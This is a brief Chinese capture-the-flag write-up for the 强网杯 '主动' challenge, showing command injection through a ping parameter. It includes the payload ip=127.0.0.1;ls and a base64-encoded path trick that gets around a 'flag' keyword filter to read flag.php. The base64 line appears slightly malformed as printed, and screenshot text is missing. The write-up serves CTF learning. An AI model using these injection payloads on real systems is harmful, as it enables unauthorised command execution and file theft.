强网杯-主动

打开环境

看到ping -c 3，属于命令注入
尝试传递ip=127.0.0.1;ls
得到

显然if里面的内容过滤掉了flag，而我们需要读取flag.php内的内容

使用通配符

Base64编码绕过
?id=1;cat echo 'Li9mbGFnLnBocAo=' | base64 -d：

用cat读取flag
f12查看